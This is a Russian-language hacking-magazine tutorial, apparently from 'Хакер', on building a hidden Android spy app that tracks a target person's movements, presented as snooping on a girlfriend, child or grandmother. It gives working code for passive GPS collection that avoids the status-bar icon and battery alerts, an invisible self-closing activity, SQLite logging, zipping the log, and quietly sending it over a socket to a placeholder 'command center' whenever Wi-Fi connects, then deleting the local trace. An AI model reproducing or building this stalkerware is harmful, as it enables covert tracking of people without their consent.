Содержание статьи
Сегодня мы проведем небольшое шпионское исследование и попробуем незаметно собрать данные о передвижении интересующего нас объекта — подруги, ребенка или, скажем, бабушки. Разумеется, с их письменно заверенного разрешения на сбор и обработку личной информации — как же иначе?
WARNING
Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.Шпион, выйди вон
Общеизвестно, что любой современный смартфон (или планшет) оснащен модулем системы глобального позиционирования GPS, а то и православным ГЛОНАСС. Но даже если ты умудришься найти аппарат без него, карты Google (и не только) все равно смогут быстро обнаружить тебя на этом многострадальном голубом шарике. Для этого используется методика определения координат с помощью вышек сотовой связи, информацию о положении которых собирают абсолютно все игроки рынка геолокационных сервисов.
Ok, Google, вырубаем GPS и вынимаем симку, запускаем «Карты» и... внезапно снова видим свое положение. Оказывается, информации об окружающих точках Wi-Fi вполне достаточно для определения местоположения смартфона, пускай и не такого точного. В этой связи примечателен давний скандал с «картомобилем» Google, который тихо-мирно себе ездил и снимал улицы, попутно собирая названия всех точек доступа Wi-Fi. Тогда Google заявляла о некоем техническом сбое (!), но мы-то знаем...
Одним словом, смартфон почти всегда сможет определить свою ориентацию в родной Солнечной системе, чем мы и воспользуемся.
Операция «Спектр»
Театр начинается с вешалки, а приложение Android — с манифеста. Для доступа к GPS-приемнику необходимо добавить тег в секцию uses-permission:
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
Константа ACCESS_FINE_LOCATION задает высокий уровень точности для определения местоположения пользователя. Есть еще ACCESS_COARSE_LOCATION для более грубой геолокации, но нам она принципиально не интересна. К слову, приложение, которому было выдано полномочие fine, автоматически получает еще и полномочие coarse.
В Android для работы с геолокацией используется специальный интерфейс, предоставляемый системным объектом LocationManager:
String svcName = Context.LOCATION_SERVICE;
LocationManager locationManager = (LocationManager) getSystemService(svcName);
Вторая геосоставляющая — LocationProvider, набор источников данных, каждый из которых отражает отдельную технологию поиска местоположения. Так, GPS_PROVIDER основывается на данных, полученных со спутников, NETWORK_PROVIDER шпионит за вышками сотовой связи и Wi-Fi.
Наверное, в твоей голове уже созрел коварный план — периодически запрашивать координаты у GPS_PROVIDER и NETWORK_PROVIDER (например, с помощью фонового сервиса) и отправлять их в командный центр. Такое решение в лоб, конечно, имеет право на жизнь, но разве популярнейший журнал о безопасности стал бы о нем писать? Во-первых, это заметно — любое включение GPS отображается в статусной строке значком (рис. 1); во-вторых, это банально сажает батарею, что может заставить владельца задуматься и поискать прожорливое приложение; и, в-третьих, фоновый трафик прекрасно виден в системном журнале.
Специально для нас Google придумала отдельный провайдер — PASSIVE_PROVIDER, который получает информацию о местоположении только в том случае, если ее запрашивает другое приложение. Благодаря этому наш шпион будет получать обновления скрытым образом, без активации какого-либо источника LocationProvider. Иными словами, стоит пользователю запустить карту, клиент социальной сети, выйти в интернет, отправить сообщение и далее по списку, как наше приложение уже будет в курсе (рис. 2–3). Обратной стороной пассивности (и скрытности) является полное доверие к получаемым данным, мы никак не сможем проверить их достоверность.
Координаты «Скайфолл»
Для получения координат от источника данных существует метод getLastKnownLocation:
String provider = LocationManager.PASSIVE_PROVIDER;
Location location = locationManager.getLastKnownLocation(provider);
Возвращаемый объект Location содержит всю информацию о местонахождении, которую поддерживает источник. Он может включать в себя время, точность полученных координат, широту, долготу, высоту над уровнем моря (вот оно, вмешательство в частную жизнь!) и скорость. Все эти свойства доступны через геттеры:
private void updateWithNewLocation(Location location)
{
TextView myText = (TextView) findViewById(R.id.myText);
String latLongString = "нет информации";
if (location != null) {
double lat = location.getLatitude();
double lng = location.getLongitude();
latLongString = "Lat: " + lat + "\nLong: " + lng;
}
myText.setText("Местоположение:\n" + latLongString);
}
Как уже отмечалось, ни PASSIVE_PROVIDER, ни getLastKnownLocation не запрашивают у LocationProvider обновление местоположения. Если смартфон долго не обновлял текущую позицию, полученное значение может быть неактуальным или вовсе не существовать (например, сразу после загрузки).
Если ты снова подумал об использовании фонового сервиса для «дергания» PASSIVE_PROVIDER, спешу тебя огорчить: все гораздо проще. Наш выбор — широковещательный приемник (если не знаешь, что это, срочно загляни в сентябрьский «Хакер» или читай дальше).
Шаровая молния
Данные GPS, возвращаемые методом getLastKnownLocation или широковещательным приемником, не изменятся, пока хотя бы одна программа не запросит обновление местоположения. В итоге при первом запуске эмулятора getLastKnownLocation, скорее всего, вернет null, а приемник и вовсе откажется срабатывать.
Чтобы это исправить, можно воспользоваться следующим трюком:
locationManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, 0, 0, new LocationListener() {
@Override public void onLocationChanged(Location location) {}
@Override public void onStatusChanged(String s, int i, Bundle bundle) {}
@Override public void onProviderEnabled(String s) {}
@Override public void onProviderDisabled(String s) {}
});
Поместив это код в OnCreate активности, мы заставим приложение непрерывно опрашивать координаты, что приведет к срабатыванию нашего же широковещательного приемника. Разумеется, после отладки этот код на стероидах нужно выжечь раскаленным железом. Не забудь!
На секретной службе Ее Величества
Вкратце напомню: в качестве механизма передачи сообщений на уровне системы намерения (Intent) способны отправлять структурированные данные от процесса к процессу (например, информацию от GPS-модуля). Для отслеживания таких данных и реакции на них реализуются специальные объекты — широковещательные приемники. Основное их достоинство (для нас) — они срабатывают даже тогда, когда приложение находится в фоне, а некоторые (например, прием СМС) вообще не требуют запуска родительского приложения.
Каркас нашего приемника представлен ниже:
public class LocationUpdateReceiver extends BroadcastReceiver{
@Override
public void onReceive(Context context, Intent intent) {
String key = LocationManager.KEY_LOCATION_CHANGED;
Location location = (Location) intent.getExtras().get(key);
if (location != null) {
double lat = location.getLatitude();
double lng = location.getLongitude();
long time = location.getTime();
// time — время в формате UNIX,
// lat — широта, lng — долгота
}
}
}
Метод onReceive будет срабатывать всякий раз при изменении координат устройства, но сначала приведенный приемник необходимо зарегистрировать в манифесте:
<receiver android:name=".LocationUpdateReceiver" >
<intent-filter>
<action android:name="com.example.gpsspy.LOCATION_READY" />
</intent-filter>
</receiver>
Далее мы должны настроить частоту срабатывания приемника, иначе любое сколь угодно малое движение объекта наблюдения в пространстве попросту заDoSит наш жучок координатами. В тестовом примере поместим соответствующий код в метод onCreate главной (и единственной) активности:
public class Main extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
String svcName = Context.LOCATION_SERVICE;
LocationManager locationManager = (LocationManager) getSystemService(svcName);
String provider = LocationManager.PASSIVE_PROVIDER;
int t = 60000;
int distance = 25;
int flags = PendingIntent.FLAG_CANCEL_CURRENT;
Intent intent = new Intent(this, LocationUpdateReceiver.class);
PendingIntent pendingIntent = PendingIntent.getBroadcast(this, 0, intent, flags);
locationManager.requestLocationUpdates(provider, t, distance, pendingIntent);
finish();
}
}
Метод requestLocationUpdates, используемый для инициирования регулярных обновлений местоположения, принимает в качестве первого параметра название конкретного типа провайдера — PASSIVE_PROVIDER. Далее следует минимальный интервал и дистанция между обновлениями. В приведенном коде обновления координат будут поступать не чаще, чем раз в минуту (60 000 мс), и только в случае перемещения объекта на 25 м от последней точки. Почему эти числа нужно выбирать как можно аккуратнее, читай на врезке.
Умри, но не сейчас
Android 5 очень внимательно следит за всеми приложениями, запрашивающими координаты (даже в пассивном режиме), и выискивает наиболее прожорливые. Чтобы не попасть в топ, старайся устанавливать как можно большие значения для минимального временного интервала и дистанции между обновлениями.
Последний параметр — ожидающее (или отложенное) намерение, которое и будет передано в широковещательный приемник LocationUpdateReceiver. Объекты PendingIntent используются для упаковки намерений, срабатывающих в ответ на будущие события, как, например, в нашем варианте — получение координат.
К слову, чтобы прекратить выполнение обновлений, вызывается метод removeUpdates:
locationManager.removeUpdates(pendingIntent);
Так как наша активность не предполагает никакого взаимодействия с пользователем, не содержит интерфейса, да и вообще работает негласно, логично будет ее закрыть, вызвав метод finish. При этом приемник LocationUpdateReceiver продолжит свою работу как ни в чем не бывало. Кстати, к статье я прикладываю небольшой исходник (естественно, только в мирных отладочных целях), в котором координаты выводятся на экран (рис. 4) в виде всплывающих сообщений (класс Toast).
И целого мира мало
Итак, у нас есть множество координат объекта, то есть трекинг его передвижения. Возникает вопрос: что с этим массивом информации делать и как его хранить? В сентябрьском выпуске «Хакера» была отличная статья, касающаяся темы хранения пользовательской информации. Для нашей цели подойдет любой из описанных методов — Shared Preferences, Internal/External Storage, SQLite Database или даже Cache Files.
Я выбрал базу SQLite со следующей таблицей:
private static final String SQL_CREATE_TABLE = "CREATE TABLE coord " +
"(_id INTEGER PRIMARY KEY AUTOINCREMENT, utime NUMERIC, lat REAL, lng REAL)";
О том, как вносить записи в базу SQLite, «Хакер» рассказывает регулярно (да ладно, когда это мы регулярно об этом писали? 🙂 — Прим. ред.), так что я не буду касаться этой скучной темы, а вот об отправке накопленных данных поговорим.
Конечно, полученные координаты можно вовсе не помещать в базу данных, а отправлять сразу же, по факту, но весьма высока вероятность, что доступа в интернет в отдельно взятый момент времени не окажется. Кроме того, как мы уже говорили, фоновая передача данных довольно заметна (предполагаем, что у объекта обычный нерутованный смартфон). Другое дело Wi-Fi — отличная скорость, малое время отклика, да и вряд ли кому-нибудь придет в голову изучать трафик (бесплатно же!).
Из России с любовью
Геокодирование в Android позволяет переводить координаты (широту и долготу) в уличный адрес и наоборот. Чтобы получить строку с адресом, можно воспользоваться функцией
public String revGeocode(Location location){
if (location == null) return "";
double lat = location.getLatitude();
double lng = location.getLongitude();
StringBuilder sb = new StringBuilder();
Geocoder gc = new Geocoder(this, Locale.getDefault());
try {
List<Address> addresses = gc.getFromLocation(lat, lng, 1);
if (addresses.size() > 0) {
Address address = addresses.get(0);
for (int i = 0; i < address.getMaxAddressLineIndex(); i++)
sb.append(address.getAddressLine(i)).append("\n");
sb.append(address.getLocality()).append("\n");
sb.append(address.getPostalCode()).append("\n");
sb.append(address.getCountryName());
}
} catch (IOException e) {
e.printStackTrace();
}
return sb.toString();
}
Метод getFromLocation вернет список адресов, которые так или иначе совпадают с переданными координатами. В рассмотренном примере берется только первый адрес, из которого извлекаются все дополнительные строки, после чего добавляется область, почтовый индекс и страна. Точность этой информации зависит от детализации карт региона в сервисе Google Maps.
Следующий вопрос — что отправлять? Извлекать каждую строчку из базы и посылать? Можно, но как-то некрасиво, не по-хакерски, что ли. А что, если послать сразу всю базу в виде двоичного файла? Физически база находится в приватной директории приложения и доступна только нам, содержимое таблиц — только числа (размер будет минимальным), Wi-Fi — высокоскоростное подключение. В общем, сплошные плюсы.
Ну а чтобы довести идею до высот перфекционизма, перед отправкой поместим файл базы в архив, благо файлы SQLite очень хорошо сжимаются. Прямо из коробки Android в паре с Java поддерживает работу с архивами формата ZIP. Для архивирования произвольного файла соорудим функцию:
public static final int BUFFER_SIZE = 1024;
public void zipFile(String file, String zipFile) throws IOException {
BufferedInputStream origin;
ZipOutputStream out = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(zipFile)));
try {
byte data[] = new byte[BUFFER_SIZE];
FileInputStream fi = new FileInputStream(file);
origin = new BufferedInputStream(fi, BUFFER_SIZE);
try {
ZipEntry entry = new ZipEntry(file.substring(file.lastIndexOf("/") + 1));
out.putNextEntry(entry);
int c;
while ((c = origin.read(data, 0, BUFFER_SIZE)) != -1) out.write(data, 0, c);
} finally {
origin.close();
}
} finally {
out.close();
}
}
Путь к базе данных можно получить следующим образом:
String file = Environment.getDataDirectory().getPath() +
"//data//com.example.gpsspy//databases//" + "имя_базы";
Здесь "com.example.gpsspy" — имя пакета нашего примера, а "имя_базы" задается при ее создании (без расширения). Таким образом, приведенную выше функцию можно использовать так:
String fileZip = file + ".zip";
try {
zipFile(file, fileZip);
} catch (IOException e) {
e.printStackTrace();
}
Чтобы не было никаких подвисаний в программе, процедуру архивирования рекомендую вынести в фоновую задачу (AsyncTask).
Полученный архив можно смело отправлять по сети. Механизм доставки будет зависеть от выбранной технологии — это могут быть сокеты, локальная шара, web-интерфейс, анонимный FTP, Wi-Fi Direct и тому подобное.
При использовании сокетов подход может быть таким:
public static final int BUFFER_SIZE = 1024;
...
// Использование фоновой задачи обязательно!
@Override
protected String doInBackground(String... params)
{
String filePath = 'путь к файлу';
File sdFile = new File(filePath);
try {
client = new Socket("ip", "port");
os = client.getOutputStream();
byte[] buf = new byte[BUFFER_SIZE];
FileInputStream in = new FileInputStream(sdFile);
int bytesRead;
while ((bytesRead = in.read(buf, 0, BUFFER_SIZE)) != -1) {
os.write(buf, 0 , bytesRead);
}
os.flush();
os.close();
client.close();
} catch (UnknownHostException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
return null;
}
В любом случае потребуется разрешение работы в интернете:
<uses-permission android:name="android.permission.INTERNET"/>
После передачи файла базу необходимо очистить. Сделать это можно с помощью традиционной SQL-команды DELETE * FROM имя_таблицы, но размер файла в этом случае не уменьшится, либо можно стереть сам файл:
public static void deletePrivateFile(String Name){
File data = Environment.getDataDirectory();
String Path = "//data//com.example.gpsspy//databases//" + Name;
File file = new File(data, Path);
file.delete();
}
При следующем обращении к базе данных Android автоматически создаст новый файл.
Бриллианты навсегда
Для перевода старого доброго UNIX-time в формат, понятный нам и шпионам, можно использовать Java-объект «Календарь» (Calendar):
public String getDateFromUNIX(long uTime){
Calendar c = Calendar.getInstance();
c.setTimeInMillis(uTime);
int D = c.get(Calendar.DAY_OF_MONTH);
int M = c.get(Calendar.MONTH);
int Y = c.get(Calendar.YEAR);
int h = c.get(Calendar.HOUR_OF_DAY);
int m = c.get(Calendar.MINUTE);
return new StringBuilder()
.append(D).append(".").append(M + 1).append(".").append(Y)
.append(" ").append(h).append(":").append(m)
.toString();
}
Лунный гонщик
Мы определились с тем, что и как будем посылать, осталось только решить когда. И здесь нам снова поможет механизм трансляции намерения с помощью широковещательного приемника, только системного.
Класс WiFiManager представляет собой сервис для работы с Wi-Fi в Андроиде. Он может применяться как для установки соединения с точкой доступа, так и для отслеживания состояния подключения. Так как мы используем пассивный алгоритм работы, то единственное, что нужно сделать, — дождаться активного подключения к точке Wi-Fi и попробовать отправить файл.
Официальный SDK от Google определяет несколько действий для срабатывания широковещательного приемника при изменении статуса Wi-Fi: WIFI_STATE_CHANGED_ACTION, SUPPLICANT_CONNECTION_CHANGE_ACTION и NETWORK_STATE_CHANGED. Описывать их смысла нет, так как они банально не работают. Нет, все компилируется и запускается, но приемник не срабатывает. Причина такого поведения мне неизвестна (может быть, Google постепенно превращается в Microsoft?).
В любом случае ситуация вовсе не безвыходная. Независимо от вида соединения (Wi-Fi, 3G, GPRS/EDGE) в Android предусмотрено действие CONNECTIVITY_CHANGE, которое срабатывает при включении и отключении передачи данных. Используя класс ConnectivityManager, предназначенный для управления сетевыми подключениями, мы можем определить тип подключения, что нам и нужно.
Итак, добавляем в манифест разрешения для доступа к состоянию сетевых интерфейсов:
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
Определяем широковещательный приемник:
<receiver android:name=".NetworkChangedReceiver" >
<intent-filter>
<action android:name="android.net.conn.CONNECTIVITY_CHANGE" />
</intent-filter>
</receiver>
Наконец, код самого приемника:
public class NetworkChangedReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
boolean connectedWifi = false;
ConnectivityManager cm = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);
NetworkInfo[] netInfo = cm.getAllNetworkInfo();
for (NetworkInfo ni : netInfo) {
if (ni.getTypeName().equalsIgnoreCase("WIFI")) {
if (ni.isConnected()) connectedWifi = true;
break;
}
}
if (connectedWifi) {
// Инициируем архивирование и передачу базы данных
...
}
}
}
Здесь в цикле перебираются все активные подключения, и, если найдено активное Wi-Fi, базы координат начинают передаваться в командный центр. Отдельно отмечу, что при подключении к точке Wi-Fi данный приемник может сработать несколько раз, имей это в виду.
Завтра не умрет никогда
Сегодня мы познакомились с пассивным геопозиционированием в Android, научились архивировать и отправлять базу данных SQLite по сети, а также познакомились с разными видами широковещательных приемников. Одним словом, с основными инструментами тайного агента!
Только для твоих глаз
Чтобы не было совсем уж просто, я намеренно не стал выносить функциональность в фоновый сервис. В мартовском «Хакере» я уже рассказывал о том, как работает подобный сервис и механизм сигнализаций. Эти технологии вполне сгодятся для создания незаметного фонового сервиса. Там же ищи информацию о «выживаемости» после перезагрузки устройства.